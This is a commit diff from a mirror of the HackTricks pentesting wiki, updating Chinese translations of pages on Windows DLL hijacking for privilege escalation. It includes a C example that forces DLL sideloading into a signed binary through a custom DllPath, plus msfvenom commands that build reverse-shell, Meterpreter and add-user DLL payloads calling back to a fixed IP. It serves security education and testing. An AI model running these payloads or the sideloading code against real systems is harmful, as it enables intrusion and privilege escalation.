mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
0e1eae18f7
commit
6f160a9215
@ -4,97 +4,188 @@
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Basic Information
|
## 基本信息
|
||||||
|
|
||||||
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing, Injection, and Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的权限提升。尽管这里重点关注提升,但劫持的方法在不同目标之间保持一致。
|
DLL Hijacking 涉及操纵受信任的应用程序去加载恶意 DLL。这个术语包含若干策略,例如 **DLL Spoofing, Injection, and Side-Loading**。它主要用于代码执行、持久化,以及较少用于权限提升。尽管此处关注提升权限,劫持的方法在不同目标之间基本一致。
|
||||||
|
|
||||||
### Common Techniques
|
### 常见技术
|
||||||
|
|
||||||
用于 DLL 劫持的几种方法,每种方法的有效性取决于应用程序的 DLL 加载策略:
|
针对 DLL hijacking 有几种方法,根据应用程序的 DLL 加载策略,各方法的有效性不同:
|
||||||
|
|
||||||
1. **DLL Replacement**: 用恶意 DLL 替换真实 DLL,选择性地使用 DLL Proxying 保留原始 DLL 的功能。
|
1. **DLL Replacement**:用恶意 DLL 替换真实 DLL,可选择使用 DLL Proxying 保留原始 DLL 的功能。
|
||||||
2. **DLL Search Order Hijacking**: 将恶意 DLL 放置在合法 DLL 之前的搜索路径中,利用应用程序的搜索模式。
|
2. **DLL Search Order Hijacking**:将恶意 DLL 放置在合法 DLL 之前的搜索路径中,利用应用的搜索模式。
|
||||||
3. **Phantom DLL Hijacking**: 创建一个恶意 DLL 供应用程序加载,认为它是一个不存在的必需 DLL。
|
3. **Phantom DLL Hijacking**:为应用创建一个恶意 DLL,使其以为这是一个不存在但需要的 DLL 并加载它。
|
||||||
4. **DLL Redirection**: 修改搜索参数,如 `%PATH%` 或 `.exe.manifest` / `.exe.local` 文件,以引导应用程序加载恶意 DLL。
|
4. **DLL Redirection**:修改搜索参数,例如 %PATH% 或 .exe.manifest / .exe.local 文件,以指向恶意 DLL。
|
||||||
5. **WinSxS DLL Replacement**: 在 WinSxS 目录中用恶意 DLL 替换合法 DLL,这种方法通常与 DLL 侧加载相关。
|
5. **WinSxS DLL Replacement**:在 WinSxS 目录中将合法 DLL 替换为恶意版本,这种方法通常与 DLL side-loading 相关。
|
||||||
6. **Relative Path DLL Hijacking**: 将恶意 DLL 放置在用户控制的目录中,与复制的应用程序一起,类似于二进制代理执行技术。
|
6. **Relative Path DLL Hijacking**:将恶意 DLL 放在用户可控目录中并复制应用程序,类似 Binary Proxy Execution 技术。
|
||||||
|
|
||||||
## Finding missing Dlls
|
## 查找缺失的 Dlls
|
||||||
|
|
||||||
在系统中查找缺失的 DLL 的最常见方法是运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon),**设置** **以下 2 个过滤器**:
|
在系统内查找缺失 DLLs 最常见的方法是运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)(来自 sysinternals),并**设置以下 2 个过滤器**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
并仅显示 **文件系统活动**:
|
并且仅显示 **File System Activity**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
如果您在寻找 **缺失的 dll**,您可以 **让它运行几秒钟**。\
|
如果你是在查找**通用的缺失 dlls**,就让它运行几**秒钟**。\
|
||||||
如果您在寻找 **特定可执行文件中的缺失 dll**,您应该设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件**。
|
如果你是在查找**特定可执行文件内的缺失 dll**,你应该设置另一个过滤器,比如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件。
|
||||||
|
|
||||||
## Exploiting Missing Dlls
|
## 利用缺失的 Dlls
|
||||||
|
|
||||||
为了提升权限,我们最好的机会是能够 **编写一个特权进程将尝试加载的 dll** 在某个 **将被搜索的地方**。因此,我们将能够 **在一个文件夹中编写** 一个 dll,该 **dll 在** 原始 dll 之前被搜索(奇怪的情况),或者我们将能够 **在某个文件夹中编写**,该文件夹将被搜索,而原始 **dll 在任何文件夹中都不存在**。
|
为了提升权限,我们最好的机会是能**写入一个特权进程会尝试加载的 dll**到某个**会被搜索**的位置。因此,我们可以将 dll 写入一个**在原始 dll 所在文件夹之前被搜索到的文件夹**(罕见情况),或者写入某个**将被搜索但原始 dll 在任何文件夹中都不存在**的文件夹。
|
||||||
|
|
||||||
### Dll Search Order
|
### Dll 搜索顺序
|
||||||
|
|
||||||
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
|
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||||
|
|
||||||
**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时,DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需的 DLL 时使用绝对路径。
|
Windows 应用程序按一组预定义的搜索路径查找 DLLs,遵循特定顺序。当恶意 DLL 被策略性地放置在这些目录之一,确保其比真实 DLL 更先被加载时,就会发生 DLL hijacking。防止此类问题的一种方法是确保应用在引用所需 DLL 时使用绝对路径。
|
||||||
|
|
||||||
您可以在 32 位系统上看到 **DLL 搜索顺序**:
|
你可以在下面看到 32-bit 系统上的 DLL 搜索顺序:
|
||||||
|
|
||||||
1. 应用程序加载的目录。
|
1. 应用程序加载的目录。
|
||||||
2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取该目录的路径。(_C:\Windows\System32_)
|
2. 系统目录。使用 [GetSystemDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取此目录的路径。(_C:\Windows\System32_)
|
||||||
3. 16 位系统目录。没有函数获取该目录的路径,但会被搜索。 (_C:\Windows\System_)
|
3. 16-bit 系统目录。没有函数可以获取此目录的路径,但它会被搜索。(_C:\Windows\System_)
|
||||||
4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取该目录的路径。
|
4. Windows 目录。使用 [GetWindowsDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取此目录的路径。
|
||||||
1. (_C:\Windows_)
|
1. (_C:\Windows_)
|
||||||
5. 当前目录。
|
5. 当前目录。
|
||||||
6. 在 PATH 环境变量中列出的目录。请注意,这不包括 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
|
6. 在 PATH 环境变量中列出的目录。注意:这不包括由 **App Paths** 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
|
||||||
|
|
||||||
这是启用 **SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。
|
这是启用 **SafeDllSearchMode** 时的**默认**搜索顺序。当其被禁用时,当前目录会上升到第二位。要禁用此功能,请创建注册表值 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** 并将其设置为 0(默认启用)。
|
||||||
|
|
||||||
如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**,搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。
|
如果以 **LOAD_WITH_ALTERED_SEARCH_PATH** 调用 [LoadLibraryEx](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数,则搜索将从 LoadLibraryEx 正在加载的可执行模块的目录开始。
|
||||||
|
|
||||||
最后,请注意 **一个 dll 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 dll **只会在该路径中被搜索**(如果该 dll 有任何依赖项,它们将被按名称加载时搜索)。
|
最后,注意可以通过指示绝对路径而不是仅提供名称来加载一个 dll。在那种情况下,该 dll **只会在该路径中被搜索**(如果该 dll 有任何依赖项,它们将像按名称加载的一样被搜索)。
|
||||||
|
|
||||||
|
还有其他方法可以改变搜索顺序,但这里不再详细说明。
|
||||||
|
|
||||||
|
### 通过 RTL_USER_PROCESS_PARAMETERS.DllPath 强制 sideloading
|
||||||
|
|
||||||
|
一种高级且可确定性地影响新创建进程 DLL 搜索路径的方法是,在使用 ntdll 的原生 API 创建进程时,在 RTL_USER_PROCESS_PARAMETERS 中设置 DllPath 字段。通过在此处提供一个由攻击者控制的目录,当目标进程按名称解析导入的 DLL(未使用绝对路径且未使用安全加载标志)时,可以被迫从该目录加载恶意 DLL。
|
||||||
|
|
||||||
|
关键思路
|
||||||
|
- 使用 RtlCreateProcessParametersEx 构建进程参数,并提供一个指向你控制文件夹(例如你的 dropper/unpacker 所在目录)的自定义 DllPath。
|
||||||
|
- 使用 RtlCreateUserProcess 创建进程。当目标二进制按名称解析 DLL 时,加载器将在解析过程中查看所提供的 DllPath,从而即使恶意 DLL 未与目标 EXE 同处一处,也能实现可靠的 sideloading。
|
||||||
|
|
||||||
|
注意/限制
|
||||||
|
- 这只影响被创建的子进程;它不同于 SetDllDirectory,后者仅影响当前进程。
|
||||||
|
- 目标必须按名称导入或通过 LoadLibrary 来加载 DLL(未使用绝对路径且未使用 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories)。
|
||||||
|
- KnownDLLs 和硬编码的绝对路径无法被劫持。转发导出和 SxS 可能改变先后顺序。
|
||||||
|
|
||||||
|
最小 C 示例(ntdll,宽字符串,简化错误处理):
|
||||||
|
```c
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
|
// Prototype (not in winternl.h in older SDKs)
|
||||||
|
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||||
|
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||||
|
PUNICODE_STRING ImagePathName,
|
||||||
|
PUNICODE_STRING DllPath,
|
||||||
|
PUNICODE_STRING CurrentDirectory,
|
||||||
|
PUNICODE_STRING CommandLine,
|
||||||
|
PVOID Environment,
|
||||||
|
PUNICODE_STRING WindowTitle,
|
||||||
|
PUNICODE_STRING DesktopInfo,
|
||||||
|
PUNICODE_STRING ShellInfo,
|
||||||
|
PUNICODE_STRING RuntimeData,
|
||||||
|
ULONG Flags
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||||
|
PUNICODE_STRING NtImagePathName,
|
||||||
|
ULONG Attributes,
|
||||||
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||||
|
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||||
|
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||||
|
HANDLE ParentProcess,
|
||||||
|
BOOLEAN InheritHandles,
|
||||||
|
HANDLE DebugPort,
|
||||||
|
HANDLE ExceptionPort,
|
||||||
|
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||||
|
);
|
||||||
|
|
||||||
|
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||||
|
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||||
|
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||||
|
}
|
||||||
|
|
||||||
|
int wmain(void) {
|
||||||
|
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||||
|
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||||
|
|
||||||
|
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||||
|
wchar_t dllDir[MAX_PATH];
|
||||||
|
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||||
|
|
||||||
|
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||||
|
RtlInitUnicodeString(&uImage, image);
|
||||||
|
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||||
|
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||||
|
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||||
|
|
||||||
|
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||||
|
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||||
|
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||||
|
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||||
|
|
||||||
|
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||||
|
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||||
|
NULL, NULL, NULL, NULL, NULL, 0);
|
||||||
|
if (st < 0) return 1;
|
||||||
|
|
||||||
|
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||||
|
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||||
|
if (st < 0) return 1;
|
||||||
|
|
||||||
|
// Resume main thread etc. if created suspended (not shown here)
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
实战使用示例
|
||||||
|
- 将恶意 xmllite.dll(导出所需函数或代理到真实版本)放置在你的 DllPath 目录中。
|
||||||
|
- 根据上述方法,启动一个已签名且已知按名称查找 xmllite.dll 的二进制文件。加载器通过提供的 DllPath 解析导入并 sideloads your DLL。
|
||||||
|
|
||||||
|
该技术已在实战中被观察到用于驱动多阶段 sideloading 链:初始启动器放置一个辅助 DLL,然后生成一个 Microsoft-signed、hijackable 的二进制,并使用自定义 DllPath 强制从暂存目录加载攻击者的 DLL。
|
||||||
|
|
||||||
还有其他方法可以更改搜索顺序,但我在这里不打算解释它们。
|
|
||||||
|
|
||||||
#### Exceptions on dll search order from Windows docs
|
#### Exceptions on dll search order from Windows docs
|
||||||
|
|
||||||
Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
|
Windows 文档中指出了对标准 DLL 搜索顺序的若干例外情况:
|
||||||
|
|
||||||
- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下,系统不会进行 DLL 的搜索**。
|
- 当遇到一个 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。系统会先检查重定向和清单,然后才回退到内存中已加载的 DLL。**在这种情况下,系统不会对该 DLL 进行搜索**。
|
||||||
- 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL,**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
|
- 在 DLL 被识别为当前 Windows 版本的 **known DLL** 的情况下,系统将使用其 own 版本的 known DLL 及其任何依赖 DLL,**放弃搜索过程**。注册表键 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存了这些 known DLL 的列表。
|
||||||
- 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。
|
- 如果一个 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将按它们仅由 **模块名** 指示的方式进行,无论初始 DLL 是否通过完整路径标识。
|
||||||
|
|
||||||
### Escalating Privileges
|
### 提权
|
||||||
|
|
||||||
**Requirements**:
|
**要求**:
|
||||||
|
|
||||||
- 确定一个在 **不同权限** 下运行或将运行的进程(水平或横向移动),该进程 **缺少一个 DLL**。
|
- 识别一个以或将以 **不同权限**(horizontal or lateral movement)运行的进程,该进程 **缺少 DLL**。
|
||||||
- 确保在 **DLL** 将被 **搜索的** 任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
|
- 确保对将要搜索该 **DLL** 的任意 **目录** 拥有 **写访问权限**。该位置可能是可执行文件的目录,或系统路径中的某个目录。
|
||||||
|
|
||||||
是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
|
是的,要满足这些前提很难:**默认情况下,很难发现缺少 DLL 的有特权的可执行文件**,而且 **默认情况下在系统路径文件夹具有写权限更是不太可能**(你默认不能)。但在配置错误的环境中这确实可能发生。\
|
||||||
如果您运气好,满足要求,您可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**,您也可能在那里找到一个 Windows 版本的 DLL 劫持的 **PoC**(可能只需更改您有写入权限的文件夹的路径)。
|
如果你幸运地满足这些条件,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即便该项目的 **主要目标是绕过 UAC**,你也可能在其中找到适用于目标 Windows 版本的 **PoC**,用以实现 Dll hijaking(可能只需更改你有写权限的文件夹路径)。
|
||||||
|
|
||||||
请注意,您可以通过以下方式 **检查文件夹中的权限**:
|
请注意,你可以通过以下方式**检查某个文件夹的权限**:
|
||||||
```bash
|
```bash
|
||||||
accesschk.exe -dqv "C:\Python27"
|
accesschk.exe -dqv "C:\Python27"
|
||||||
icacls "C:\Python27"
|
icacls "C:\Python27"
|
||||||
```
|
```
|
||||||
并**检查 PATH 中所有文件夹的权限**:
|
并 **检查 PATH 中所有文件夹的权限**:
|
||||||
```bash
|
```bash
|
||||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||||
```
|
```
|
||||||
您还可以使用以下命令检查可执行文件的导入和 DLL 的导出:
|
你也可以使用以下命令检查可执行文件的 imports 和 dll 的 exports:
|
||||||
```c
|
```c
|
||||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||||
dumpbin /export /path/file.dll
|
dumpbin /export /path/file.dll
|
||||||
```
|
```
|
||||||
对于如何**利用Dll劫持提升权限**的完整指南,请查看:
|
要获取关于如何在具有写入 **System Path folder** 权限时 **abuse Dll Hijacking to escalate privileges** 的完整指南,请查看:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||||
@ -102,39 +193,39 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
|||||||
|
|
||||||
### 自动化工具
|
### 自动化工具
|
||||||
|
|
||||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否对系统PATH中的任何文件夹具有写入权限。\
|
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) 将检查你是否对 system PATH 中的任何文件夹具有写入权限。\
|
||||||
其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_和_Write-HijackDll_。
|
其他用于发现该漏洞的有趣自动化工具包括 **PowerSploit functions**:_Find-ProcessDLLHijack_、_Find-PathDLLHijack_ 和 _Write-HijackDll_。
|
||||||
|
|
||||||
### 示例
|
### 示例
|
||||||
|
|
||||||
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出可执行文件将从中导入的所有函数的dll**。无论如何,请注意,Dll劫持在[**从中等完整性级别提升到高完整性(绕过UAC)**](../authentication-credentials-uac-and-efs.md#uac)或[**从高完整性提升到SYSTEM**](#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
|
如果你发现可利用的场景,成功利用它的最重要事项之一是 **create a dll that exports at least all the functions the executable will import from it**。另外,请注意 Dll Hijacking 在以下方面非常有用:从 [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) 或者从 [**High Integrity to SYSTEM**](#from-high-integrity-to-system)。你可以在这个专注于 dll hijacking 用于执行的研究中找到一个关于 **how to create a valid dll** 的示例: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||||
此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
|
此外,在 **下一节** 中你可以找到一些 **basic dll codes**,这些可能作为模板有用,或用于创建一个导出非必需函数的 **dll**。
|
||||||
|
|
||||||
## **创建和编译Dll**
|
## **创建并编译 Dlls**
|
||||||
|
|
||||||
### **Dll代理**
|
### **Dll Proxifying**
|
||||||
|
|
||||||
基本上,**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll,同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
|
基本上,**Dll proxy** 是一种在被加载时能够执行你恶意代码的 dll,同时也会将所有调用转发给真实库,从而作为预期的库被暴露并正常工作。
|
||||||
|
|
||||||
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
|
使用工具 [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 或 [**Spartacus**](https://github.com/Accenture/Spartacus),你可以指定一个可执行文件并选择要 proxify 的库,生成一个 proxified dll,或者直接指定该 Dll 并生成一个 proxified dll。
|
||||||
|
|
||||||
### **Meterpreter**
|
### **Meterpreter**
|
||||||
|
|
||||||
**获取反向shell (x64):**
|
**Get rev shell (x64):**
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||||
```
|
```
|
||||||
**获取一个 meterpreter (x86):**
|
**获取一个 meterpreter (x86):**
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||||
```
|
```
|
||||||
**创建用户(x86 我没有看到 x64 版本):**
|
**创建一个用户(x86,我没有看到 x64 版本):**
|
||||||
```
|
```
|
||||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||||
```
|
```
|
||||||
### 你自己的
|
### 你自己的
|
||||||
|
|
||||||
注意,在多个情况下,您编译的 Dll 必须 **导出多个函数**,这些函数将被受害者进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**攻击将失败**。
|
注意,在很多情况下,你编译的 Dll 必须 **导出若干函数**,这些函数会被 victim process 加载;如果这些函数不存在,**binary 无法加载** 它们,且 **exploit 将失败**。
|
||||||
```c
|
```c
|
||||||
// Tested in Win10
|
// Tested in Win10
|
||||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||||
@ -215,11 +306,14 @@ break;
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## 参考
|
## 参考资料
|
||||||
|
|
||||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,96 +2,189 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Basic Information
|
|
||||||
|
|
||||||
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing, Injection, and Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的权限提升。尽管这里重点关注提升,但劫持的方法在不同目标间保持一致。
|
## 基本信息
|
||||||
|
|
||||||
### Common Techniques
|
DLL Hijacking 涉及操纵受信任的应用加载一个恶意 DLL。这个术语涵盖了若干战术,比如 **DLL Spoofing, Injection, and Side-Loading**。该技术主要用于代码执行、实现持久性,较少用于权限提升。尽管这里关注的是提升权限,劫持方法在不同目标间基本一致。
|
||||||
|
|
||||||
用于 DLL 劫持的几种方法,每种方法的有效性取决于应用程序的 DLL 加载策略:
|
### 常见技术
|
||||||
|
|
||||||
1. **DLL Replacement**: 用恶意 DLL 替换真实 DLL,选择性地使用 DLL Proxying 保留原始 DLL 的功能。
|
有几种方法可用于 DLL hijacking,每种方法的有效性取决于应用的 DLL 加载策略:
|
||||||
2. **DLL Search Order Hijacking**: 将恶意 DLL 放置在合法 DLL 之前的搜索路径中,利用应用程序的搜索模式。
|
|
||||||
3. **Phantom DLL Hijacking**: 创建一个恶意 DLL 供应用程序加载,认为它是一个不存在的必需 DLL。
|
|
||||||
4. **DLL Redirection**: 修改搜索参数,如 `%PATH%` 或 `.exe.manifest` / `.exe.local` 文件,以引导应用程序加载恶意 DLL。
|
|
||||||
5. **WinSxS DLL Replacement**: 在 WinSxS 目录中用恶意 DLL 替换合法 DLL,这种方法通常与 DLL 侧加载相关。
|
|
||||||
6. **Relative Path DLL Hijacking**: 将恶意 DLL 放置在用户控制的目录中,与复制的应用程序一起,类似于二进制代理执行技术。
|
|
||||||
|
|
||||||
## Finding missing Dlls
|
1. **DLL Replacement**:用恶意 DLL 替换真实的 DLL,可选地使用 DLL Proxying 保留原始 DLL 的功能。
|
||||||
|
2. **DLL Search Order Hijacking**:将恶意 DLL 放在比合法 DLL 更先被搜索到的路径,利用应用的搜索顺序。
|
||||||
|
3. **Phantom DLL Hijacking**:为应用创建一个恶意 DLL,使其加载本来不存在但被认为是必需的 DLL。
|
||||||
|
4. **DLL Redirection**:修改搜索参数,如 %PATH% 或 .exe.manifest / .exe.local 文件,以指向恶意 DLL。
|
||||||
|
5. **WinSxS DLL Replacement**:在 WinSxS 目录中用恶意文件替换合法的 DLL,这种方法通常与 DLL side-loading 相关。
|
||||||
|
6. **Relative Path DLL Hijacking**:将恶意 DLL 放在与复制的应用一同位于用户可控目录中,类似 Binary Proxy Execution 技术。
|
||||||
|
|
||||||
在系统中查找缺失的 DLL 的最常见方法是运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon),**设置** **以下 2 个过滤器**:
|
## 查找缺失的 Dlls
|
||||||
|
|
||||||
|
在系统中查找缺失 Dlls 最常见的方法是运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)(来自 sysinternals),并**设置**以下**两个过滤器**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
并仅显示 **文件系统活动**:
|
然后仅显示**File System Activity**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
如果您在寻找 **缺失的 DLL**,可以 **让它运行几秒钟**。\
|
如果你在寻找**一般性的 missing dlls**,可以让它运行**几秒钟**。\
|
||||||
